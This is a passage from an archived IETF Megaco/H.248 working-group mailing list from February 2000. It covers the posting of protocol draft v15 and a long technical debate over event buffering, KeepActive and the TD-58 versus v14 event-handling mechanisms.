>=20
> Nancy M. Greene=20
> Internet & Service Provider Networks, Nortel Networks=20
> T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com=20
>=20
>       =A0=A0=A0=A0=A0=A0=A0 ----------=20
> From: =A0 Taylor, Tom-PT [CAR:B904:EXCH]=20
> Sent: =A0 Tuesday, February 08, 2000 8:11 AM=20
> To: =A0=A0=A0 MEGACO@STANDARDS.NORTELNETWORKS.COM=20
> Subject: =A0=A0=A0=A0=A0=A0 Last Call=20
>=20
>       =A0=A0=A0=A0=A0=A0=A0 If Last Call is to have anything meaning at =
all, it must be
> conducted during=20
> the present SG 16 meeting.=20
>=20
>       =A0=A0=A0=A0=A0=A0=A0 Nancy is about to put MegacoH248v15 on the =
site.=A0 I invite
> Last Call=20
> comments based on this version of the document.=A0 We can recycle as
> necessary=20
> to reflect decisions taken.=20
>=20
>       =A0=A0=A0=A0=A0=A0=A0 Sorry for not drawing the line in early =
December, when (in
> hindsight) we=20
> might have done things more cleanly.=20
>=20
>       =A0=A0=A0=A0=A0=A0=A0 Tom Taylor=20
> Advisor -- Emerging Carrier IP Standards=20
> E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)=20
> Phone and FAX: +1 613 736 0961=20
>=20
>=20
>=20

------_=_NextPart_001_01BF727A.3B02EDCC
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Last Call




I have now posted =
draft-ietf-megaco-protocol-06.txt to 




ftp://standards.nortelnetworks.com/megaco/docs/latest<=
/A>




The differences =
between v14 and v15 are (I expect) those outlined in Tom's email Feb =
7/2000 with subject: 

"Updates =
Submitted To ITU Based On Issue Scorecard". You can see the =
changes by looking at the doc or pdf file.




Nancy

-----------------------------------------------------------------=
---------

Nancy M. Greene 

Internet & Service =
Provider Networks, Nortel Networks

T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com




-----------------------------------------------------------------=
---------

Nancy M. Greene 

Internet & Service =
Provider Networks, Nortel Networks

T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com



    

    ----------

    From:   =
Greene, Nancy-M =
[CAR:5N40:EXCH]

    Sent:   =
Tuesday, February 08, 2000 11:10 =
AM

    To: =
    MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject: =
       Re: Last Call

    


    After posting, I =
noticed that the I-D name in v15 should say =
draft-ietf-megaco-protocol-06.txt, so I have just uploaded the files =
again with this change. The I-D itself, =
draft-ietf-megaco-protocol-06.txt, should be ready later today, and on =
the IETF ftp site within a day or two.
    


    Nancy 

    -----------------------------------------------------------------=
--------- 

    Nancy M. Greene=20

    Internet & Service =
Provider Networks, Nortel Networks 

    T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com 

    


            ---------- 

    From: =A0 Greene, Nancy-M [CAR:5N40:EXCH] =


    Sent: =A0 Tuesday, February 08, 2000 10:47 AM =


    To: =A0=A0=A0 MEGACO@STANDARDS.NORTELNETWORKS.COM =


    Subject: =A0=A0=A0=A0=A0=A0 Re: Last Call 

    


            v15 is available at:=
 

    


            ftp://standards.nortelnetworks.com/megaco/docs/latest<=
/A> 

    


            file names: 

    


            MegacoH248v15.doc =


    MegacoH248v15doc.zip 

    MegacoH248v15.PDF 

    


            It has change bars against v14. v14 is =
draft-ietf-megaco-protocol-05.txt . 

    


            Note that v14, v13, v12 are still available if =
you want to look at them. They are in =


    ftp://standards.nortelnetworks.com/megaco/docs/Adelaid=
e2000 

    


            Nancy 

    -----------------------------------------------------------------=
--------- 

    Nancy M. Greene 

    Internet & Service =
Provider Networks, Nortel Networks 

    T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com 

    


            =A0=A0=A0=A0=A0=A0=A0 ---------- 

    From: =A0 Taylor, Tom-PT [CAR:B904:EXCH] =


    Sent: =A0 Tuesday, February 08, 2000 8:11 AM =


    To: =A0=A0=A0 MEGACO@STANDARDS.NORTELNETWORKS.COM =


    Subject: =A0=A0=A0=A0=A0=A0 Last Call 

    


            =A0=A0=A0=A0=A0=A0=A0 If Last Call is to have anything meaning at all, it must =
be conducted during 

    the present SG 16 =
meeting. 

    


            =A0=A0=A0=A0=A0=A0=A0 Nancy is about to put MegacoH248v15 on the site.=A0 I =
invite Last Call 

    comments based on this version of the =
document.=A0 We can recycle as necessary =


    to reflect decisions =
taken. 

    


            =A0=A0=A0=A0=A0=A0=A0 Sorry for not drawing the line in early December, when =
(in hindsight) we 

    might have done things more =
cleanly. 

    


            =A0=A0=A0=A0=A0=A0=A0 Tom Taylor 

    Advisor -- Emerging Carrier IP =
Standards 

    E-mail: taylor@nortelnetworks.com =
(internally, Tom-PT Taylor) 

    Phone and FAX: +1 613 736 =
0961 

    

    

    




------_=_NextPart_001_01BF727A.3B02EDCC--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb  8 17:13:31 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12631
	for ; Tue, 8 Feb 2000 17:13:29 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5DE71610@standards.nortelnetworks.com>; Tue, 8 Feb 2000 17:10:15 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 33035 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 8 Feb 2000 17:08:31 -0500
Received: from witbier.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.1FAE48A0@standards.nortelnetworks.com>; Tue, 8 Feb 2000 17:08:30
          -0500
Received: from mramalho-nt1 (ssh.cisco.com [171.69.10.34]) by witbier.cisco.com
          (8.8.8-Cisco List Logging/8.8.8) with SMTP id OAA18152; Tue, 8 Feb
          2000 14:10:44 -0800 (PST)
X-Sender: mramalho@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-ID:  <4.1.20000208164644.00a685f0@localhost>
Date:         Tue, 8 Feb 2000 17:11:23 -0500
Reply-To: "Michael A. Ramalho" 
Sender: "Media Gateway Control (megaco)"
              
From: "Michael A. Ramalho" 
Subject:      Re: Cisco SG16: Keep Active
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF2088D9@whq-msgusr-02.fore. com>

Brian,

Re: "I have asked for an example of a system which needed
some events buffered,  but others notified immediately, along
with the buffer."

I think that one can come up with a relatively important
case where modem/FAX tones are present.

In this case one can envision that some events are buffered and
then the termination sees modem/fax tones. Most (but adding
to the complexity, not all) of these cases require the echo
cancellers to be turned off immediately. This behavior can be
scripted or contained in the appropriate package. The signaling
of the tone itself can be carried in RTP (i.e., not signaled through
the MGCs).

However, it usually advantageous to upshift and switch to a different
codec ASAP (e.g., a higher bandwidth/fidelity codec or a more
specialized one that has RTP-based redundancy or one that
supports FAX relay). In this case the modem tones can trigger
a codec/bandwidth/QoS re-negotiation ... and this must happen
quickly! Indeed, the procedure of signaling the modem/FAX tone
in RTP was designed because the MG -> MGC -> MGC -> MG
signaling path was too slow!

In this case, the "modem/FAX tone present" signal must effectively
"flush" any event buffer that may be present at the time of the
tone arrival.

Michael Ramalho


At 10:44 AM 2/8/00 -0500, Rosen, Brian wrote:
>Flemming
>
>Rather than go through this, it seems we are in an impasse.
>
>I believe that the two modes provided give you all the tools
>required to either have events sent to the MGC as fast as they
>occur, but with little filtering, or, to have the MGC and the MG
>be in lock-step on processing events.  If there are some wording
>problems that make you think this is not so, we will have to change
>them, as that is the intent.
>
>It would seem that there is only one fundamental difference in the
>two mechanisms: you seem to want a way to have some events get buffered, and
>then have something occur which causes the buffer
>to be sent.  I think there is no such requirement.  Let me rephrase
>that a little: the benefit of creating in-between mechanisms
>is outweighed by the complexity of the mechanism required, and the
>lack of agreement on what additional complexity is warranted.
>I think you would agree that the "send events as you find them"
>always works, it's just that the MGC may have to throw away some
>events it may have been able to avoid seeing, which raises the
>complexity of the MGC code required.  The issue is, how do you
>find a middle ground that is truly useful?  I don't see it,
>no one has supplied any justification for it.
>
>I have asked for an example of a system which needed some events buffered,
>but others notified immediately, along with the buffer.
>What you have provided in response is a "good design principals"
>argument.  Simplicity is a good design principal.
>
>The rest is details; we can handle that if there is consensus
>on the requirements.
>
>Brian
>
>> -----Original Message-----
>> From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
>> Sent: Tuesday, February 08, 2000 10:27 AM
>> To: Rosen, Brian
>> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
>> Subject: Re: Cisco SG16: Keep Active
>>
>>
>> Brian
>>
>> Thanks for your detailed response - a detailed answer follows
>> below. To
>> summarize for those that do not feel like going through all
>> the details here:
>> 1. I still see significant drawbacks with the v14 scheme
>> 2. I do not see those drawbacks with the TD-58 scheme
>> 3. I have seen no advantages being offered with the v14
>> scheme compared to the
>> TD-58 scheme
>>
>> and consequently I must ask for the TD-58 scheme to be reinstated.
>>
>>
>>
>> "Rosen, Brian" wrote:
>>
>> > Thank you for taking the time to go through your issues.
>> > I only wish you had done so two months ago!  Before dealing with
>> > specifics, there is one aspect of the current mechanism you seem
>> > to have misinterpreted.  When EventBuffering is ON, events detected
>> > are compared against the EventBuffer Descriptor, not the
>> Events Descriptor.
>>
>> You are right. While that addresses one specific comment
>> below, it does not
>> solve the fundamental problems though.
>>
>> >
>> >
>> > ...snip...
>> > > The current event handling mechanism in Megaco/H248 v14 can
>> > > be viewed as
>> > > three processes that all interact. Events can be viewed as
>> > > always being
>> > > added to an event buffer (a FIFO queue) by an Event
>> Detection process.
>> >
>> > > Another Event Processing process then removes these events
>> > > from the FIFO
>> > > queue. When a notification is sent, this process may block,
>> > > waiting for a
>> > > new Events Descriptor to be received. Events detected
>> > > meanwhile will simply
>> > > be added to the FIFO queue. Finally, whenever a new
>> > > Events Descriptor is
>> > > received the third process runs. This process determines the
>> > > fate of events
>> > > of events sitting in the FIFO queue, and installs a new
>> > > Events Descriptor.
>> > >
>> > > The processes are illustrated in pseudo-code below
>> > >
>> > > Process 1: Event Detection
>> > > ===================
>> > > do {
>> > > 
>> > > if < event in current Events Descriptor> then   /* current
>> > > Events Descriptor
>> > > */
>> > >   
>> > >  else
>> > >   
>> > > } forever
>> > The buffering process does not always buffer events.  In most
>>
>> Like I said, one way of viewing the procedure is the way I
>> describe it. This is
>> classic producer-consumer problem we are looking at here.
>>
>>
>> >
>> > cases, it immediately Notifies.  The decision process is:
>> >         If EventBuffering is On,
>> >                 If no events have been detected
>> >                         ; the first event is immediately processed
>> >                         If it is in Events Descriptor
>> >                                 Notify immediately
>> >                         Else
>> >                                 discard
>> >                 Else
>> >                         If it is in EventBuffer Descriptor
>> >                                 place in the buffer
>> >                         Else
>> >                                 discard
>> >         Else
>> >                 If the event is in Events Descriptor
>> >                         Notify immediately
>> >                 Else
>> >                         discard
>> >
>> > To be really precise, it's possible that an event will occur
>> > while another event is being processed when EventBuffering is Off,
>> > and you could consider the second event in some kind of buffer.
>>
>> > I personally wouldn't - if it made it before I finished the Notify,
>>
>> > I'd add it to the Notify in process.  If it was after, I'd just hold
>> > off processing it until I was done.
>>
>> That's not what the current text specifies, so if this is the
>> behavior you want
>> the text should be changed accordingly.
>>
>>
>> >
>> >
>> >
>> > >
>> > > Process 2: Event Processing
>> > > ===================
>> > > do {
>> > >  < wait for event in event buffer>
>> > >  < remove first event from event buffer>
>> > >  if  then {
>> > >   Notify(event)
>> > >   if  (Eventbuffer = "on") then  /* current Events Descriptor */
>> > >    
>> > >  }
>> > > } forever
>> > I'd say this process doesn't exist
>>
>> Depends on how you look at it. Like I said, this is one way
>> of looking at it. It
>> achieves precisely the same as your algorithm above
>>
>> >
>> >
>> > > Process 3: New Event Descriptor
>> > > =======================
>> > > if    /* new EventsDescritpr */
>> > >  
>> > > 
>> > This is incorrect.  The first part is correct (clear eventBuffer if
>> > EventBuffering is off).  The second part is:
>> >   Else
>> >         While EventBuffer has any events
>> >                 If Event is in new Events Descriptor
>> >                         Notify this event
>> >                         Exit loop
>> >                 Else
>> >                         discard
>> >         End Loop
>>
>> No. Take another look at process 2, which is my consumer
>> process. The effect is
>> precisly what you have specified, however all of these are
>> really besides the
>> point.
>>
>> >
>> >
>> > >
>> > > Unfortunately, this mechanism suffers from some drawbacks,
>> > > especially when
>> > > compared to the mechanism that was specified in TD-58 after
>> > > the Red Bank
>> > > meeting:
>> > >
>> > > 1. Events to be detected in process 1 are always determined
>> > > by the current
>> > > Events Descriptor. This is an unfortunate restriction
>> which may prevent
>> > > detection of events that arrive more rapidly than the round-trip +
>> > > processing time. For example, an application may initially
>> > > wish to detect
>> > > seizure, and subsequently detect a wink or unseizure. Unless
>> > > all events are
>> > > requested at the same time (which would effectively prevent
>> > > glare detection)
>> > > detection of all these events could not be guaranteed.
>> > This is incorrect, there are two masks -- Events Descriptor and
>> > BufferedEvents Descriptor.  The former determines what is notified,
>> > the latter determines what is buffered.
>>
>> You're right. I believe it would be preferable to determine
>> events to be
>> detected based on the union of Events Descriptor and
>> BufferedEvents Descriptor
>> though.
>>
>> >
>> >
>> > Seizure would be Events Descriptor, Unseizure and wink would be
>> > in BufferedEvents Descriptor.  Alternatively, you could use an
>> > embedded Events Descriptor.
>>
>> For this specific case - maybe. It is not a general solution
>> to the problem
>> though (BufferedEvents Descriptor on the other hand is).
>>
>> >
>> >
>> > > What is needed, is an extra parameter to specify what events
>> > > to detect (as
>> > > opposed to process) during event buffering. Preferably, this
>> > > set of events
>> > > would be determined based on the union of this parameter and
>> > > the current
>> > > Events Descriptor.
>> > As specified, we "detect" (I would say buffer) events in
>> > BufferedEvents, and we "process" (I would say Notify) events in
>> > Events Descriptor.  We could specify that detect is based on the
>> > union of BufferedEvents and Events, but it's a little late for
>> > optimizations (if it really is what we want, I would think not).
>> >
>> > >
>> > > 2. Hardcoding Notify in process 2 limits throughput, as there
>> > > shall normally
>> > > only be one outstanding Notify per termination. A queue of
>> > > Notify to be sent
>> > > may consequently build up at the sender side thereby
>> > > - Incurring event delivery delay when the event arrival rate
>> > > exceeds the
>> > > MG-MGC roundtrip time.
>> > > - Limiting the average event arrival rate to the MG-MGC
>> > > roundtrip time (best
>> > > case).
>> > This may be true if EventBuffering is On, but is not true if
>> > EventBuffering is off.  In the latter case, events are Notified as
>> > they are detected, and no response from the MGC is required.
>>
>> That is completely inconsistent with the current text.
>> Section 9.1 specifies
>> that:
>>
>>     "On a given Termination, there should normally be at most
>> one outstanding
>> Notify command at any time.  The RequestId parameter should
>> be used to correlate
>> Notify commands with the triggering notification request."
>>
>> What you are suggesting is that we just send the Notify's as
>> fast as we can. The
>> problem with this is that you cannot guarantee in-order
>> (delivery of these
>> messages) which means we no longer have event ordering in the system.
>>
>> >
>> > In the former case, this is precisely what is required.
>> The point of
>> > buffering events is that once an event is detected, the MG doesn't
>> > know what the MGC wants next; it has to wait to be told.  Meanwhile,
>> > it buffers events the MGC told it it MIGHT want to see.
>> When it gets
>> > a new event descriptor, it can send ONE event, but then it
>> is back in
>> > the same state - what does the MGC want to do next?
>>
>> We are in absolute agreement here. One underlying "problem"
>> however is that the
>> MGC will only be able to request a single event. With the
>> TD-58 solution you
>> could have requested a whole sequence of events potentially.
>>
>> >
>> >
>> > Note that this condition should be very rare - events
>> happen at human
>> > speed in most cases, and computers are fast.  Even in large trunk
>> > gateways, the MGC better be able to keep up with the event stream by
>> > a whole lot more than a round trip time!
>>
>> That is a very dangerous assumption which even now doesn't
>> hold. Think about
>> auto-dialers, MF trunking, etc. Events happen a lot faster
>> than human speed
>> (which is why you added digit maps). Do you feel confident in
>> assuming that this
>> is the only case where this is needed ?
>>
>> As for your second point about MGC being able to keep up with
>> event arrival
>> rates significantly below network round trip time we are in
>> complete agreement,
>> and that is precisely my point. Your mechanism has an
>> inherent rate limitation
>> built into it, and that rate limiation is based on the
>> network round-trip time
>> for every thing where you don't apply some special mechanism
>> (like digit maps).
>> This mechanism is basic and belongs in the base protocol!
>>
>>
>> >
>> >
>> > > TD-58 from Red Bank did not have this limitation. First of
>> > > all, the MGC had
>> > > the various "accumulate" actions that were designed to
>> > > prevent this problem
>> > > and limit bandwidth and CPU overhead.
>> > It had a per event decision of Notify, Accumulate or process by
>> > digitmap.  We have all of those.
>>
>> Then I've misunderstood something. Where do you have accumulate now ?
>>
>> >
>> >
>> > >Secondly, (assuming
>> > > MGCP semantics) it
>> > > would be possible for the MG to try and empty the EventBuffer
>> > > in a single
>> > > message based on the current Events Descriptor (arguably, a
>> > > parameter to
>> > > explicitly allow/disallow this behavior would be beneficial).
>> > No one has ever described a scenario where it was once
>> unacceptable to send
>> > all events, but something occurs which makes it possible to
>> send all events
>> > in the buffer.  This seems unlikely
>> >         Either the MGC is able to run it's own state machine and
>> >                 it can handle events whenever they are detected
>> >         OR
>> >         The MGC has a simplistic view, and can only deal with the MG
>> >                 and itself being in lockstep
>> >
>>
>> You are making dangerous assumptions again. Experience has
>> taught me that proper
>> design rather than current perception and imagination is by
>> far the better
>> approach.
>>
>>
>> >
>> > >
>> > > 3. There is a dual use of the Eventbuffer parameter which is
>> > > unfortunate.
>> > > Following a Notify where the Eventbuffer was "on", there is
>> > > no way for the
>> > > MGC to subsequently request that
>> > > a) All the currently buffered events should be processed
>> > > b) Future events should not be buffered events but simply
>> > > sent immediately
>> > This is the same as above.  Somehow, the MGC couldn't handle all
>> > events, and now it can.  How can this be?
>> > I would be willing, I suppose, to allow this (that is, have some way
>> > to empty the Event Buffer by Notify rather than just clearing it),
>> > but no one has been able to come up with a really interesting
>> > case where the MG flips EventBuffering on and off.  I expect it will
>> > set it one way and leave it.
>>
>> Same comment as above. I would much prefer proper design
>> instead assumptions
>> which may or may not hold down the road.
>>
>> >
>> >
>> > Please cite an interesting case where some events should be
>> buffered,
>> > but there comes an event where the buffer should be sent all at
>> > once (and where it is unacceptable to send the events as they
>> > are detected).
>>
>> Same comment as above.
>>
>>
>> >
>> >
>> > > A simple solution to this problem would be to separate the
>> > > parameter into
>> > > two, which is precisely what the BufferedEventProcessingMode
>> > > in TD-58 did.
>> > Covered above, although no one could ever precisely explain
>> to those of us
>> > who sat through countless hours of discussion and email
>> what the 4 states of
>> > two variables were used for.
>> >
>>
>> I disagree. Experience will tell us who is right. With my
>> approch we can't
>> loose, with yours we certainly can.
>>
>> >
>> > >
>> > >
>> > > Finally, from a design perspective, the above solution
>> contains some
>> > > fundamentally undesirable properties. Most problematic is the
>> > > hard-coded
>> > > Notify of events which effectively provides a stimulus based
>> > > approach to
>> > > event handling with none or little future support for
>> scripting. It
>> > > effectively prevents us from taking advantage of more powerful and
>> > > sophisticated MGs that are able to do some amount of
>> local processing
>> > > thereby
>> > > - reducing bandwidth requirements
>> > > - reducing MGC processing requirements (and complexity)
>> > > - improves responsiveness as the network round-trip does
>> not become a
>> > > bottleneck
>> > > Opponents to this point of view may claim, that packages with
>> > > new events,
>> > > signals, and properties can be defined that effectively
>> > > achieve the above,
>> > > as e.g. was done for digitmaps/DTMF detection. While that is
>> > > indeed the case
>> > > (and there are valid use cases for such), the point that
>> > > needs to be made,
>> > > is that the mechanisms are basic and of such high value that
>> > > they should be
>> > > supported natively rather than only by higher level
>> > > mechanisms which may or
>> > > may not be able to interact with each other. Consider for
>> example the
>> > > current DTMF detection scheme. As a consequence of the higher
>> > > layer approach
>> > > taken, it is not able to report incoming DTMF digits and
>> > > other inter-twined
>> > > events in the correct order, since the DTMF detection
>> > > mechanism must itself
>> > > be exactly one event (digit map completion). Another
>> example is the
>> > > interaction with signal interruption, e.g. dial-tone.
>> Again, special
>> > > consideration (define it to take place on the first digit) is
>> > > needed to
>> > > achieve the desired behavior although the event really has
>> > > not occurred yet.
>> > Scripting is, as you know, a version 2 problem.
>> Presumably, scripting need
>> > not limit itself to the same view of events, or more
>> precisely, it would
>> > probably handle event detection as they occurred, and
>> generate Notifies (if
>> > appropriate), whenever the script decided to.  I would
>> allow scripts to run
>> > on detection, allow them to put events in the buffer, and
>> allow them to run
>> > on Notify (which would include allowing the Notify script
>> to paw through the
>> > buffer).
>>
>> Yes I know. What you are telling me know, is that yes, the
>> current event
>> handling mechanism is probably not adequate for scripting and
>> you would do
>> something special, e.g. not perform the hard-coded Notify we
>> saw above. What
>> about interaction between different schemes, consistency,
>> ease of understanding,
>> etc. This looks very flaky to me and that is precisely my point.
>>
>>
>> >
>> > > Such requirements for special treatment and consideration
>> are simply
>> > > evidence of lack of generality that should not show up at
>> > > this stage. The
>> > > solution specified in TD-58 from Red Bank did not suffer
>> from these
>> > > drawbacks.
>> > Disagree as per above
>>
>> You are going to have to explain the drawbacks of TD-58 to
>> me. I have now
>> offered you drawbacks with the v14 scheme. Considering that I
>> have not seen you
>> (or anyone else for that matter) explain any kind of
>> drawbacks with the TD-58
>> scheme and that I have shown several drawbacks with the v14
>> scheme, I think it
>> is your turn to explain the problems with TD-58 now. You have
>> been very adament
>> about not making changes without any good reason, so I would
>> like to see that
>> same rule applied to TD-58.
>>
>>
>>
>> >
>> > >
>> > > Some additional comments below
>> > >
>> > >
>> > > "Rosen, Brian" wrote:
>> > >
>> > > > Coming out of Red Bank there was NO consensus on Events,
>> > > > there was in fact wide disagreement on events.  Coming out of
>> > > > Washington, there was NO consensus on events, there was in fact
>> > > > wide disagreement on events.  The proposal we have in V13 was
>> > > > an attempt to fix what people saw as problems in the event
>> > > > mechanism.
>> > > >
>> > > > In Red Bank, no one could explain how the MGCP mechanism works.
>> > > > In Washington, several people attempted to explain how it works
>> > > > (Christian Huitema was not there for that session).  Today in
>> > > > fact, I'll bet you if you ask 10 people who claim they
>> understand
>> > > > how the MGCP mechanism works, you would get several answers,
>> > > > although I would grant you that there is not a lot of variation
>> > > > in the implementations.  The V13 mechanism was not
>> comprehensible
>> > > > to anyone in the design meetings in Washington or Red Bank.
>> > >
>> > > If understanding the MGCP mechanism is the real problem, then
>> > > I'm sure we
>> > > can get the right people to clarify. Having spent a lot of
>> > > time on this
>> > > (admittedly confusing) aspect myself, I can certainly
>> offer my help if
>> > > needed. As for a general lack of understanding of the
>> > > mechanism I think you
>> > > are exagerating. There may be small details here and
>> there that people
>> > > interpret differently, but I bet you any mechanism you
>> > > specify will suffer
>> > > from this, including yours.
>> >
>> > Flemming, there are a core of about 5 people who sat and argued and
>> > questioned and puzzled about the MGCP mechanism over two
>> IETF meetings, the
>> > Red Bank meeting and the email list.  Check the archives -
>> there are lots of
>> > messages that attempt to explain how the MGCP mechanism
>> works.  No two
>> > people agreed.  I asked 4 people who said they were part of
>> implementation
>> > teams.  They all explained it differently, although it
>> seems that they
>> > implemented it close to the same thing.  I believe the MGCP
>> text is poorly
>> > written, poorly understood.  AND, even when people more or
>> less explained
>> > how it worked, they were totally unable to explain how you
>> would use it.
>>
>> I'm not talking about MGCP, I'm talking about TD-58. You are
>> the editor and have
>> done an outstanding job under some very different
>> circumstances. If there is
>> text that needs clarification, well then clarify it, don't
>> scratch the mechanism
>> and rewrite it from scratch.
>>
>> What if I ask you to explain how multimedia and streams work
>> and whether they
>> are indeed adequate for what we want to do. I bet you will
>> have a very tough
>> time (I know since you've stated your concerns on this issue
>> several times)
>> doing that, but that doesn't meen you just rewrite it, right ?
>>
>> In any case, we are drifting away from the technical points,
>> which is what I
>> want to focus on. Bottom line is, that I strongly believe the
>> TD-58 scheme was
>> better than what we now have in v14. Based on all of the
>> above and in the
>> absence of you explaining any problems with the TD-58 mechanism and
>> demonstrating advantages with the v14 mechanism, I must again
>> ask for the text
>> to be brough back in accordance with the outcome of the Red
>> Bank meeting. If
>> not, we have a significant change, and no consensus....
>>
>>
>> >
>> >
>> > >
>> > >
>> > > >
>> > > >
>> > > > I still have never been given any semblance of a reason why
>> > > > the variables in the MGCP exist, and what you do with them.
>> > > > I can, and have, provided same for the current
>> mechanism.  So far
>> > > > we have not, save the confusion over the digitmap/keep active
>> > > > confusion, found a problem.
>> > >
>> > > If you can be more specific I will do my best to try and explain.
>> > >
>> > > >
>> > > >
>> > > > So far, I have found people who want the MGC to sort out events,
>> > > > and they want them as fast as the MG finds them.  I also found
>> > > > people who want a simple state machine, with the MG and MGC in
>> > > > lock step over what should happen.  We cater to both of those.
>> > > > You seem to want something in between, something where the MG
>> > > > has more knowledge about what the MGC wants, and when
>> it wants it
>> > > > than I can figure out.  I can't understand how anything
>> in between
>> > > > gimme all of them, and gimme the next one can work; please
>> > > > enlighten me.
>> > >
>> > > Scripting! It comes in many shapes and forms (although not as
>> > > many and not
>> > > as powerful as you might want right now). You have
>> already defined one
>> > > yourself; digit maps. What accumulate, etc. gives you is
>> essential the
>> > > foundation to build on here. It can even be used natively in
>> > > some cases,
>> > > e.g. for MF trunking if you so desire.
>> > >
>> > > >
>> > > >
>> > > > Brian
>> > > >
>> > > > > -----Original Message-----
>> > > > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
>> > > > > Sent: Friday, February 04, 2000 2:11 PM
>> > > > > To: Rosen, Brian
>> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
>> > > > > Subject: Re: Cisco SG16: Keep Active
>> > > > >
>> > > > >
>> > > > > Hi Brian
>> > > > >
>> > > > > Some comments below
>> > > > >
>> > > > > Regards
>> > > > >
>> > > > >             Flemming
>> > > > >
>> > > > > "Rosen, Brian" wrote:
>> > > > >
>> > > > > > We have just had a discussion on this issue, and I
>> believe it
>> > > > > > addresses it: digitmaps on dtmf optimizes reporting
>> > > > > > of dtmf detection, but is otherwise the same as
>> individual dtmf
>> > > > > > events being enabled.  By that definition,
>> KeepActive works the
>> > > > > > way you wanted it; without it, signals stop with
>> first detected
>> > > > > > digit.  With it, signals continue while digits are detected.
>> > > > > > So your IVR app would specify KeepActive on the
>> > > digitmap completion
>> > > > > > event, and use an embedded signal to turn it off if you
>> > > wanted to.
>> > > > > > The old mechanism doesn't work any differently; if you
>> > > had specified
>> > > > > > keepactive on the digits, whether or not they were
>> accumulate by
>> > > > > > digitmap actions, you still would not be able to treat
>> > > the initial
>> > > > > > digit differently from the terminating digit.  The
>> only way you
>> > > > > > could make this better would be to have the
>> digitmap completion
>> > > > > > event entirely separate from the dtmf detection
>> events, so you
>> > > > > > could have KeepActive separately on the digits from the
>> > > completion.
>> > > > > > I think embedded signals is a better answer, but I'm on
>> > > record as
>> > > > > > thinking that digitmaps should be a package and not a basic
>> > > > > > protocol.
>> > > > > >
>> > > > > > I'll deal with any problems we still have with the
>> current text,
>> > > > > > but a "everything changed" complaint without a problem
>> > > is a no-op.
>> > > > >
>> > > > > I beg to differ. A change without a problem is
>> > > > > counterproductive and what
>> > > > > gets into these situations. We had something perfectly fine
>> > > > > after the Red
>> > > > > Bank meeting which for some reason was changed. Exactly
>> > > *what* was the
>> > > > > problem that prompted this massive change (I'll spare you
>> > > the ITU-T
>> > > > > procedural arguments here). If there were no compelling
>> > > > > reasons, then I
>> > > > > suggest that the text is simply brought back in line with the
>> > > > > agreement from
>> > > > > Red Bank, and then we can close this (big) one and move along.
>> > > > >
>> > > > > If you really want to, we can start a debate about the
>> > > > > relative merits,
>> > > > > trade-offs, and shortcomings of one scheme versus the other.
>> > > > > A couple of
>> > > > > topics off the top of my head
>> > > > > - Reduced number of messages and resultant reduced load
>> > > on network and
>> > > > > entities
>> > > > > - Effective event arrival rate not limited by MGC-MG
>> > > round-trip time
>> > > > > - Support for scripting
>> > > > >
>> > > > >
>> > > > >
>> > > > > >
>> > > > > >
>> > > > > > brian
>> > > > > >
>> > > > > > > -----Original Message-----
>> > > > > > > From: Chip Sharp [mailto:chsharp@cisco.com]
>> > > > > > > Sent: Friday, February 04, 2000 12:12 AM
>> > > > > > > To: MEGACO@standards.nortelnetworks.com
>> > > > > > > Subject: Re: Cisco SG16: Keep Active
>> > > > > > >
>> > > > > > >
>> > > > > > > At 03:22 PM 2/3/00 -0500, Tom-PT Taylor wrote:
>> > > > > > > >
>> > > > > > > >
>> > > > > > > >I think the primary need here is for clarifying text in
>> > > > > > > section 7.1.14
>> > > > > > > >indicating that events mapped into a digit map do
>> > > not generate
>> > > > > > > >notifications, but do terminate ongoing signals
>> unless the
>> > > > > > > KeepActive flag
>> > > > > > > >is set.
>> > > > > > > Not really. The fundamental problem is the
>> complete rework of
>> > > > > > > the agreed
>> > > > > > > upon event handling mechanism that for some
>> reason was done
>> > > > > > > after the Red
>> > > > > > > Bank meeting.
>> > > > > > >
>> > > > > > > >
>> > > > > > > >-----Original Message-----  From:  Chip Sharp
>> > > > > > > >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January
>> > > 25, 2000 7:43
>> > > > > > > >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
>> > > > > > >   Cisco SG16:
>> > > > > > > >Keep Active
>> > > > > > > >
>> > > > > > > >Section:        7.1.9, "Event Actions"
>> > > > > > > >table  Category:       Technical  Issue:
>>  The draft
>> > > > > > > text specifies
>> > > > > > > >that "KeepActive:      As Notify, but
>> production of signals
>> > > > > > > continues (if
>> > > > > > > >any signals were active)".The above  definition is overly
>> > > > > > > restrictive in
>> > > > > > > >that it prevents events from being  accumulated
>> (either with
>> > > > > > > or without
>> > > > > > > >digit map) and at the same time keeping  a signal active.
>> > > > > > > For example an
>> > > > > > > >IVR application accumulating a string of  user input and
>> > > > > playing an
>> > > > > > > >announcement until the entire string is
>> accumulated cannot
>> > > > > > > be supported
>> > > > > > > >with the above behaviour.  Proposal:       It is
